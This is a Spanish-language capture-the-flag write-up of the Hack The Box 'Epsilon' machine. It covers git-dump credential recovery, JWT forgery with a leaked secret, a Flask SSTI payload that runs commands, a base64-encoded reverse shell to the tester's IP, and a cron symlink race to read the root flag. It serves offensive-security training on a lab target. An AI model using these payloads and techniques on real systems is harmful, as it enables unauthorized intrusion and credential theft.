Skip to content

Epsilon ⭐

#htb #linux #aws #lambdas #dynamo #writeup

bash
sudo nmap 10.129.96.151 -sS -p- -n -Pn --min-rate 5000 --open -oG allPorts -vvv
bash
sudo nmap 10.129.96.151 -p 22,80,5000 -sCV -oN targeted

Parece ser que hay un repo de git , pero no podemos acceder

python
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: 403 Forbidden
| http-git: 
|   10.129.96.151:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
|_http-server-header: Apache/2.4.41 (Ubuntu)

Fuzzeamos pero parece ser que no hay nada más.

En el puerto 5000 hay un Flask

Fuzzeamos

La autenticación no parece impedir que podamos acceder a /track

Al enviar un track nos redirige al login, de todas formas ya sabemos que el usuario es admin

bash
gobuster dir -u http://10.129.96.151:5000 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 150

Como no hay mucho más volvemos a la otra página con el .git, ¿Cómo es que nmap ha podido leer el nombre del último commit? Porque ha leído .git/logs/HEAD e individualmente a a cada uno de los archivos si que tenemos acceso.

bash
git-dumper http://10.129.96.151/.git/ repo_dump

Reconstruimos con el último commit

bash
git config --global --add safe.directory /mnt/Windows/Hacking/Academias/HackTheBox/Machines/Epsilon/content/repo_dump

git restore .

Según index() la contraseña de admin parece ser admin, pero no funciona

python
@app.route("/", methods=["GET","POST"])
def index():
        if request.method=="POST":
                if request.form['username']=="admin" and request.form['password']=="admin":
                        res = make_response()
                        username=request.form['username']
                        token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
                        res.set_cookie("auth",token)
                        res.headers['location']='/home'
                        return res,302
                else:
                        return render_template('index.html')
        else:
                return render_template('index.html')

En track_api_CR_148.py hay un código que interactúa con una Lambda en LocalStack (emulador de AWS local)

python
import os
from zipfile import ZipFile
from boto3.session import Session


session = Session(
    aws_access_key_id='<aws_access_key_id>',
    aws_secret_access_key='<aws_secret_access_key>',
    region_name='us-east-1',
    endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')


def files_to_zip(path):
    for root, dirs, files in os.walk(path):
        for f in files:
            full_path = os.path.join(root, f)
            archive_name = full_path[len(path) + len(os.sep):]
            yield full_path, archive_name


def make_zip_file_bytes(path):
    buf = io.BytesIO()
    with ZipFile(buf, 'w') as z:
        for full_path, archive_name in files_to_zip(path=path):
            z.write(full_path, archive_name)
    return buf.getvalue()


def update_lambda(lambda_name, lambda_code_path):
    if not os.path.isdir(lambda_code_path):
        raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
    aws_lambda.update_function_code(
        FunctionName=lambda_name,
        ZipFile=make_zip_file_bytes(path=lambda_code_path))

Apuntamos los nuevos dominios en el /etc/hosts

bash
echo '10.129.96.151   epsilon.htb cloud.epsilon.htb' >> /etc/hosts

Ya que estamos fuzzeamos por subdominios, pero no encontramos nada más.

bash
ffuf -u http://epsilon.htb -H "Host: FUZZ.epsilon.htb" -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt  -mc all -ac -t 150

Aquí tiene toda la pinta que hay un Server Side Template Injection pero faltan creds

python
@app.route('/order',methods=["GET","POST"])
def order():
        if verify_jwt(request.cookies.get('auth'),secret):
                if request.method=="POST":
                        costume=request.form["costume"]
                        message = '''
                        Your order of "{}" has been placed successfully.
                        '''.format(costume)
                        tmpl=render_template_string(message,costume=costume)
                        return render_template('order.html',message=tmpl)
                else:
                        return render_template('order.html')
        else:
                return redirect('/',code=302)
app.run(debug='true')

Probamos a listar el lambda o buckets con creds fake (ya que muchas veces LocalStack no necesita una IAM válida para funcionar), sin éxito

bash
export AWS_ACCESS_KEY_ID="FAKE"
export AWS_SECRET_ACCESS_KEY="FAKE"
export AWS_DEFAULT_REGION="us-east-1"
bash
aws lambda list-functions --endpoint-url http://cloud.epsilon.htb

Hacemos un

bash
git log --oneline
c622771 (HEAD -> master) Fixed Typo
b10dd06 Adding Costume Site
c514416 Updatig Tracking API
7cf92a7 Adding Tracking API Module

Comparandos los dos primeros commits encontramos creds de AWS

bash
git diff c514416 7cf92a7
bash
export AWS_ACCESS_KEY_ID="AQLA5M37BDN6FJP76TDC"
export AWS_SECRET_ACCESS_KEY="OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A"
export AWS_DEFAULT_REGION="us-east-1"

Tratamos de listar las lambdas , pero se queda pillado

bash
aws lambda list-functions --endpoint-url http://cloud.epsilon.htb

Tampoco podemos hacer un whoami

bash
aws sts get-caller-identity --endpoint-url http://cloud.epsilon.htb

Tras varias pruebas más resulta que es un bug de la máquina y debería funcionar la petición de listar las lambdas:

bash
aws lambda get-function --function-name costume_shop_v1 --endpoint-url http://cloud.epsilon.htb
json
{
    "Configuration": {
        "FunctionName": "costume_shop_v1",
        "FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
        "Runtime": "python3.7",
        "Role": "arn:aws:iam::123456789012:role/service-role/dev",
        "Handler": "my-function.handler",
        "CodeSize": 478,
        "Description": "",
        "Timeout": 3,
        "LastModified": "2026-01-02T11:10:51.283+0000",
        "CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
        "Version": "$LATEST",
        "VpcConfig": {},
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "a2576154-50fd-446a-9d40-58bb3330b56f",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip"
    },
    "Code": {
        "Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
    },
    "Tags": {}
}

Nos descargamos el código Haciéndolo así se nos corrompe el zip parece ser

bash
awscurl --service lambda \
        --region us-east-1 \
        http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code > epsilon.zip

Forma fiable:

bash
aws configure --profile user
python
import requests
import boto3
from botocore.auth import SigV4Auth
from botocore.awsrequest import AWSRequest

url = "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
region = "us-east-1"
profile = "user"

session = boto3.Session(profile_name=profile, region_name=region)
creds = session.get_credentials()

request = AWSRequest(method='GET', url=url)
SigV4Auth(creds, 'lambda', region).add_auth(request)
headers = dict(request.headers)

r = requests.get(url, headers=headers, stream=True)
filename = "flag_code.zip"
with open(filename, 'wb') as f:
        for chunk in r.iter_content(chunk_size=1024):
            if chunk:
                f.write(chunk)
unzip flag_code.zip

El código es algo así:

python
import json

secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124

'''Beta release for tracking'''
def lambda_handler(event, context):
    try:
        id=event['queryStringParameters']['order_id']
        if id:
            return {
               'statusCode': 200,
               'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
            }
        else:
            return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }
    except:
        return {
                'statusCode': 500,
                'body': json.dumps('Invalid Order ID')
            }

Vemos que necesita un tracking_id , para llamarla:

bash
aws lambda invoke \
    --function-name costume_shop_v1 \
    --payload '{"queryStringParameters": {"order_id": "1"}}' \
    --cli-binary-format raw-in-base64-out \
    --profile user \
    --endpoint-url http://cloud.epsilon.htb \
    respuesta.txt

La respuesta que recibimos es algo así, lo cuál tiene sentido porque no existe la variable resp

json
cat respuesta.txt | jq .

{
  "errorMessage": "Lambda process returned with error. Result: . Output:\n",
  "errorType": "InvocationException",
  "stackTrace": [
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_api.py\", line 811, in run_lambda\n    lock_discriminator=lock_discriminator,\n",
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 428, in execute\n    return do_execute()\n",
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 418, in do_execute\n    return _run(func_arn=func_arn)\n",
    "  File \"/opt/code/localstack/localstack/utils/cloudwatch/cloudwatch_util.py\", line 157, in wrapped\n    raise e\n",
    "  File \"/opt/code/localstack/localstack/utils/cloudwatch/cloudwatch_util.py\", line 153, in wrapped\n    result = func(*args, **kwargs)\n",
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 405, in _run\n    raise e\n",
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 401, in _run\n    result = self._execute(lambda_function, inv_context)\n",
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 709, in _execute\n    result = self.run_lambda_executor(lambda_function=lambda_function, inv_context=inv_context)\n",
    "  File \"/opt/code/localstack/localstack/services/awslambda/lambda_executors.py\", line 637, in run_lambda_executor\n    ) from error\n"
  ]
}

Tambien tenemos el secret que parece ser el secreto para firmar las cookies

bash
secret='RrXCv`mrNe!K!4+5`wYq'
python
python

>>> import jwt
>>> secret = 'RrXCv`mrNe!K!4+5`wYq'
>>> payload = {
...     "username": "admin"
... }
>>> token = jwt.encode(payload, secret, algorithm="HS256")
>>> print(token)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4

Ya podemos hacer el Server Side Template Injection

python
@app.route('/order',methods=["GET","POST"])
def order():
        if verify_jwt(request.cookies.get('auth'),secret):
                if request.method=="POST":
                        costume=request.form["costume"]
                        message = '''
                        Your order of "{}" has been placed successfully.
                        '''.format(costume)
                        tmpl=render_template_string(message,costume=costume)
                        return render_template('order.html',message=tmpl)
                else:
                        return render_template('order.html')
        else:
                return redirect('/',code=302)
app.run(debug='true')
HTTP
POST /order HTTP/1.1
Host: 10.129.30.243:5000
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.WFYEm2-bZZxe2qpoAtRPBaoNekx-oOwueA80zzb3Rc4

costume={{7*7}}&q=1&addr=test

El payload más básico de todos parece funcionar:

python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Nos enviamos una rev shell:

python
{{+self.__init__.__globals__.__builtins__.__import__('os').popen('echo+L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE3LjQ4LzQ0NDQgMD4mMQ==|base64+-d|bash').read()+}}
bash
nc -lvnp 4444

Normalizamos la shell

En este punto estaríamos dentro del máquina que hostea la web, no dentro de la ec2 donde correría la lambda temporalmente, ya que hemos hecho un SSTI en el servidor web.

bash
cat /home/tom/user.txt

Corremos pspy y encontramos esta cron job

bash
2026/01/02 12:24:01 CMD: UID=0     PID=3193   | /bin/bash /usr/bin/backup.sh
bash
#!/bin/bash

file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/ #Comprime app en backups

sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum #Guarda el checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" 

/opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*

Podríamos pensar que se podría hacer path hijacking pero al ejecutarse en una cron jon el path suele ser algo así : PATH=/usr/bin:/bin y no carga tu variable $PATH

Tenemos permiso de escritura en /opt/backups

bash
ls -la /opt/backups/
total 8
drwxr-xrwx 2 root root 4096 Jan  3 12:10 .

Vemos que continuamente se está creando y borrando el .tar y el checksum

bash
watch -n 1 ls -la /opt/backups/

Cuando se cree el checksum podríamos cambiarlo por un enlace simbólico a /root/root.txt

Porque el -h carga el archivo original al que apunta el enlace simbólico

bash
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar"
bash
cd /opt/backups/

#Ejecutamos esto hasta que eliminemos el checksum original
rm checksum ; ls -la ; ln -s /root/root.txt checksum
bash
cd /tmp
for archivo in /var/backups/web_backups/*.tar; do tar -xvf "$archivo"; done
bash
cat /opt/backups/checksum

Notas personales de seguridad ofensiva.